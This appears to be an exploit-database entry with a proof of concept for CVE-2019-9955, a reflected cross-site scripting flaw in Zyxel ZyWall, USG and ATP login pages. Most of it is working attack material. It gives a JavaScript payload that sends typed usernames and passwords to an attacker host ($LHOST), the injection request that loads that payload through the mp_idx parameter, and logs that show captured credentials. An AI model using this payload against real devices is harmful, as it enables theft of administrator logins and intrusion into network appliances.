ab1398c24c
13 changes to exploits/shellcodes PCHelpWare V2 1.0.0.5 - 'SC' Denial of Service (PoC) PCHelpWare V2 1.0.0.5 - 'Group' Denial of Service (PoC) AdminExpress 1.2.5 - 'Folder Path' Denial of Service (PoC) Zoho ManageEngine ADManager Plus 6.6 (Build < 6659) - Privilege Escalation Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting Joomla Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion
80 lines
No EOL
2.8 KiB
Text
80 lines
No EOL
2.8 KiB
Text
# Exploit Title: Reflected XSS on Zyxel login pages
|
|
# Date: 10 Apr 2019
|
|
# Exploit Author: Aaron Bishop
|
|
# Vendor Homepage: https://www.zyxel.com/us/en/
|
|
# Version: V4.31
|
|
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
|
|
# CVE : 2019-9955
|
|
|
|
1. Description
|
|
==============
|
|
|
|
Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
|
|
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.
|
|
|
|
2. Proof of Concept
|
|
=============
|
|
|
|
Host a malicious file JavaScript file named 'z', or any other single character,
|
|
locally. The contents of 'z' for the following example are:
|
|
|
|
|
|
-----
|
|
$("button").click(function() {
|
|
$.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
|
|
});
|
|
-----
|
|
|
|
|
|
Close the mp_idx variable with "; and Use the getScript functionality of jQuery
|
|
to include the malicious file:
|
|
|
|
Request:
|
|
|
|
GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
|
|
Host: $RHOST
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Wed, 10 Apr 2019 23:13:39 GMT
|
|
Cache-Control: no-cache, private
|
|
Pragma: no-cache
|
|
Expires: Mon, 16 Apr 1973 13:10:00 GMT
|
|
Connection: close
|
|
Content-Type: text/html
|
|
Content-Length: 7957
|
|
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Welcome</title>
|
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
<meta charset="utf-8">
|
|
<meta http-equiv="pragma" content="no-cache">
|
|
<link href="/ext-js/mobile/css/jquery.mobile-1.4.2.min.css?v=180711001117" rel="stylesheet" type="text/css">
|
|
<link href="/ext-js/mobile/css/style.css?v=180711001117" rel="stylesheet" type="text/css">
|
|
<link href="/ext-js/mobile/css/theme.css?v=180711001117" rel="stylesheet" type="text/css">
|
|
<link rel="stylesheet" type="text/css" href="/logo/mobile_custmiz_page.css?v=180711001117" />
|
|
<script src="/ext-js/mobile/js/jquery-1.8.2.min.js?v=180711001117" type="text/javascript"></script>
|
|
<script src="/ext-js/mobile/js/jquery.mobile-1.4.2.min.js?v=180711001117" type="text/javascript"></script>
|
|
<script type="text/javascript" src="/lang/language_panel.js?v=180711001117"></script>
|
|
<script language="JavaScript">
|
|
var errorNum = 0;
|
|
var mp_idx = "";$.getScript('//$LHOST/z');//";
|
|
...
|
|
|
|
|
|
When the login form is submitted, the host for the malicious file gets a request
|
|
containing the login credentials and target system:
|
|
|
|
$LHOST - - [10/Apr/2019 23:04:41] "GET /z?_=1554937481076 HTTP/1.1" 200 -
|
|
$LHOST - - [10/Apr/2019 23:04:49] "GET /?username=test&password=test&host=$RHOST HTTP/1.1" 200 - |